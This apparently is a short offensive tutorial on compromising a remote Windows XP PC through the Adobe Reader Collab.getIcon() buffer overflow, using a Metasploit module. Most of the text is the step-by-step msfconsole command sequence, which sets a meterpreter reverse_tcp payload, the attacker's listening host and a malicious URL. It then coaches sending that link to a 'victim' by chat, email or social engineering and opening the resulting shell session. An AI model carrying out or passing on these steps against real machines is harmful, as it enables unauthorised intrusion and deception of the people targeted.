Hack Remote PC with Adobe Collab.getIcon() Buffer Overflow

This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat. Affected versions include < 7.1.1, < 8.1.3, and < 9.1. By creating a specially crafted pdf that a contains malformed Collab.getIcon () call, an attacker may be able to execute arbitrary code.

Exploit Targets

0 – Adobe Reader Universal (JS Heap Spray) (default)


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/adobe_geticon

Msf exploit (adobe_geticon)>set payload windows/meterpreter/reverse_tcp

Msf exploit (adobe_geticon)>show options 

Msf exploit (adobe_geticon)>set lhost (IP of Local Host)

Msf exploit (adobe_geticon)>set srvhost (This must be an address on the local machine)

Msf exploit (adobe_geticon)>set uripath tendulkar (The Url to use for this exploit)

Msf exploit (adobe_geticon)>exploit

Now an URL you should give to your victim

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 

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